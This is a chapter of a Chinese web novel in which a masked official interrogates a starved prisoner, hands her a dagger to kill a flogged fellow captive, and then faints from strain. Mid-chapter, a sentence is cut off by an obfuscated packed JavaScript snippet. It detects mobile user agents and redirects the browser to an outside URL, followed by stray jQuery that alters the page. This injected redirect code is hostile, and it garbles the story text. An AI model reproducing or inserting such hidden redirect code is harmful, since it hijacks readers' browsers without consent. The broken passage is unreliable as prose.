30.晕倒

作品:《春且行

    “锦堂,你随我去一趟暗牢。”奚春和收回目光,向外面走去。


    站在门口候命的两名风卫见状连忙躬身行礼。


    “大人。”


    几人一路往暗牢走去,苏锦堂跟在奚春和身后。


    麒麟司四周皆是乌黑沉闷的石壁,暗牢更是黑沉得像是要将所有的光亮吞吃进去一样。


    奚清和一身玄衣立在暗牢门前,奚春和竟然一时没有看清。


    还是身后的苏锦堂出声提醒她,她才定睛一看,发现哥哥。


    两人如一般同僚,互相见礼。


    “暄风大人,今日来暗牢,是为了查审何人?”奚清和问道。


    “奚大人。”奚春和并不回答,只是转身进了暗牢。


    苏锦堂跟在奚春和身后,路过奚清和身旁,他的脚步一顿,莫名感觉到一股寒意,他掩在面具下的眉蹙了一下,后颈像是攀上了冷气。


    他转头看向奚清和,恰好对上他的投来的目光,那目光淡得像轻烟,眼里没有什么情绪,偏偏面上还是一副温润的笑脸。


    苏锦堂后槽牙咬紧一瞬,他看了看前面没回头的奚春和,又看了看面前笑面虎的奚清和。笑了笑,又发觉隔着面具,奚清和看不清,他俯身行礼,恭敬喊了一声大人。


    然后迈步往前走,跟上奚春和的步子。


    奚清和站在原地,看妹妹和那个着一身红衣的男人一起进了暗牢,从刚才就掩在袖中攥紧的手指才缓缓松开。


    他也跟着一起进了暗牢。


    奚春和没有在别醋停留,一路去了关押晚娘的牢房,狱卒上前为她打开牢门。


    晚娘躺在稻草堆上,听到动静也没有抬头,似乎是连那一丝力气也没有了。


    狱卒想要上前将晚娘拽起,奚春和抬手制止了她。


    奚春和走到晚娘身前,抬手抚开晚娘面前的黑发。


    黑发干枯,甚至被奚春和的手带下来几缕。在牢房昏暗的烛火下,那缕缠绕着奚春和苍白的手指的黑发,格外显眼。


    牢房外的奚清和刚到就看到这一幕,眉头狠狠蹙了一下。想要快步上前,却有人先他一步。


    苏锦堂上前,拿出洁白的丝帕,柔软得像一捧月光,苏锦堂小心翼翼地用手帕把黑发掸去。


    躺在稻草上的人终于有了动静,她费尽力气支起头颅,看了奚春和一眼,被她面具上的那点红刺激到。


    她向奚春和爬过来,想要拂去她的面具。


    苏锦堂推开她,她顺着力道重新倒在稻草上,嘴里发出嗬嗬的声响。


    “依照大人的吩咐,这几日都是让她饥一顿饱一顿的。”身后的狱卒汇报。


    苏锦堂看奚春和有话要问,便挥手让狱卒退下。


    “他们都说你心思纯善,原来你也会做这种折磨人的事情。”晚娘仰面躺着,说出这一句话就已经费尽她的心力。


    她连转头的力气也没有了,只能将眼珠子转过来,盯着奚春和,活像一只厉鬼。


    “若你也是善人,我自然会与人为善。”奚春和轻笑。


    “嗬……”晚娘似乎想要说些什么,但是实在没有力气,只能发出一声微弱的声音。


    奚春和看了苏锦堂一眼,苏锦堂会意。取下腰间的葫芦,将瓶塞打开,浓郁的酒香瞬间冒出来。


    苏锦堂将酒喂进晚娘嘴中,她呛咳起来,但还是喝了大半壶酒液进去。


    苏锦堂壶中的酒虽是烈酒,却是泡了药材的,有养身的作用。


    晚娘没怎么吃东西,胃中空空如也,本就饥肠辘辘,却被强灌进了酒水,烈酒灼烧着她的神志。


    她睁着眼睛,头脑清醒,手脚却提不起力气,这滋味实在不好受。


    “你要问什么,我可以回答你,但是……我想要一条生路。”晚娘明白了,眼前的这个女人,不是空有一颗慈悲心的泥塑。


    是一个心思缜密,谋略过人的女子。


    晚娘不想也不敢和这样的人周旋,她只想活着。她知道她对奚春和还有用,不然她不会留着她的命,那么她就还有筹码。


    奚春和轻笑一声。


    她转身,走到前方狱卒为她搬来的椅子上坐下。


    “你怎么确定,我一定需要从你这里知道我想要的信息?”奚春和的声音很轻,但是在这狭小的牢房里,能让晚娘清楚地听到她话语的笃定。


    晚娘几乎是立刻就想到了还关在牢房里的另一个人。


    章回是一个不择手段的人,他总说喜欢晚娘,但是晚娘清楚,在那个暗无天日的组织里,情爱是最无用的东西。大难临头各自飞,才是彼此的活命之道。


    “你……什么意思?”晚娘的眼睛充血涨红,此刻十分痛苦。


    “晚娘,你是一个聪明人,你自然知道,该怎么选择。”奚春和看着晚娘的眼神,明白她已经做好了决定。


    她说完就静坐在椅子上,等待晚娘的回答。


    前方本来仰面躺在稻草上的晚娘,拼命爬了起来,踉踉苍苍地走向奚春和。


    苏锦堂警惕地站在奚春和面前,却被自家大人扯住,苏锦堂低头看了看奚春和,明白她的用意,顺从地退下。


    “你想要我做什么?”晚娘在离奚春和两步的位置停下,然后跪坐下来,仰视奚春和那张无悲无喜的面具。


    晚娘的脸上没有痛苦,只有对生的狂热执着,这样的表情看得苏锦堂眉心紧蹙,他依旧立在奚春和身旁,以防发生意外。


    奚清和依旧站在牢房外,他看着妹妹的动作,心下了然,让同样候在牢房外的两名风卫转过身,背对奚春和。


    奚春和看着跪在自己身前的女子,本就娇小的身躯在暗牢里的这几天,更加消减。


    她缓缓摘下覆在自己面上的面具,晚娘的眼神本来定在那枚红得像雪的印记上,却随着面具的移开,对上了奚春和苍白的眉间。


    两弯细眉簇着一双秋水一般的眸子,那双眼眸淡漠,再往下是高挺的鼻梁和颜色浅淡的唇。


    奚春和的表情很平静,就这样淡淡地看着晚娘。


    晚娘的手指无意识地痉挛一下。


    奚春和从腰间抽出一把匕首,递到晚娘面前。


    “杀了他,你的活路就多一条。”奚春和垂着眼眸,唇边噙着一抹似有若无的笑意,说话的语调不急不缓,一字一句地落下来,像是有千斤重般,落在晚娘的身上,砸弯了她高挺的脊梁。


    奚春和低眉的模样,让晚娘恍惚间像是看见了神龛里端坐的菩萨,可惜她的手里不是点化众生的柳枝,而是杀人的利器。


    在晚娘这种迷途中人看,这没有什么区别。


    她膝行上前,接过奚春和手中的匕首。


    苏锦堂紧张一瞬,奚春和却是微微一笑,她抬头看向苏锦堂,示意他带着晚娘去另一间牢房。


    苏锦堂将晚娘押出这间牢房,交给守在外面的风卫,奚春和戴好面具,也走了出来。


    奚清和深深看了一眼奚春和,转身走在前面,为他们带路。


    到了关押章回的牢房


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188334|193531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,还能听见里面挥舞鞭子的破空声和鞭子打在身上的沉闷响声,伴随着气若游丝的嘶吼声。


    奚春和随着奚清和走进牢房,闻到浓重的血腥味,现在的章回和前几日所见的章回,完全不一样。


    那个时候的章回,还能有警惕的心思和奚春和迂回,现在的他被绑在木桩上,身上几乎没有好肉,他垂着头,血水顺着木桩流下,蜿蜒曲折到晚娘面前。


    可见这几日,章回每日都在遭受鞭打,然后在他奄奄一息时喂上一粒虎狼药,等他清醒,继续鞭打。


    奚春和转头看向晚娘,却在她的面上看见了笑意,是完全开怀的笑意。


    她示意风卫放开晚娘,两名风卫依言松开禁锢晚娘的枷锁。


    晚娘失了禁锢,她迈步向前,走到章回面前,不顾脏污,掀开掩盖在章回面前的头发。等到完全看清他的脸色后,晚娘忍不住大笑起来。


    笑声十分凄厉,奚清和看向妹妹,只见她静静站在原地,幽远的目光完全放在晚娘的身上。


    待晚娘停在笑声之后,她将手指按在章回的伤口上面,用了全身的力气按压。


    章回发出嗬嗬的气声,悠悠转醒。他睁开被血水覆盖的眼睛,在朦胧中看见面前站着一个身材瘦弱的女子,他无意识地唤了一声晚娘。


    晚娘看着他,说:“章回,你欺负我侮辱我,却说爱我。好像你们男人的暴行,掩盖在爱的名义之下,就情有可原。”


    晚娘说完这几个字,不等章回回应,便将匕首架在他的脖子上。


    奚清和快步走到奚春和面前,想要将这样血污的场面阻隔,他低头对上奚春和平静无波的眼神,才惊觉她早就长成了不需要哥哥保护的妹妹。


    奚清和脊背似乎被一种极为强劲的力道抚过,他几乎要弯下腰。


    他再次看了一眼妹妹,选择退开。


    晚娘顺着力道倒在血泊里,微微喘着气。待气息均匀过来,她站起身,面对奚春和:“多谢。”


    她低下头,任由两名风卫把她押送离开,像是被抽筋拔骨一般,她一直挺直的背,也没有力气再去支撑。


    奚春和明白,让她一直坚定的信念,已然崩塌。现在,她已经是行尸走肉。


    她仰头吐出一口浊气,突然笑了,笑着笑着,冰凉的泪滴却从面具下滚落。


    奚清和和苏锦堂俱是一惊,奚清和眼疾手快,接住奚春和即将往下倒的身影。


    “去审晚娘,现在她一定知无不言言无不尽。”奚春和在昏过去之前,厉声嘱咐奚清和。


    奚清和揽着妹妹,却生生抑制住冲动,将她交给了旁边焦急的苏锦堂。


    苏锦堂连看都没看奚清和一眼,抱过奚春和就往暗牢外跑去。


    一路火急火燎到了风卫,找到李陵游留在抽屉里的药,取出一粒为奚春和服下。李陵游从密集的书架间走出,就看到自家大人倒在苏锦堂怀中,他连忙上前为奚春和把脉。


    把完脉,他的眉头缓缓松开,叹了一口气。


    苏锦堂急忙问他,怎么样。


    “心事重重,忧思伤脾。今日心神无所倚,才会突然晕倒。你刚才喂她的药正好是安神的。”


    “本来已经见好的……”李陵游说到此处,看了苏锦堂一眼,看见他依旧没有放松的神情,在心底又暗自叹了一口气。


    “她这病,只能将养。”李陵游说完,一道阴影便投在听风卫大堂的门前。


    原来是奚清和赶来。他站在门口,看着苏锦堂怀里的奚春和。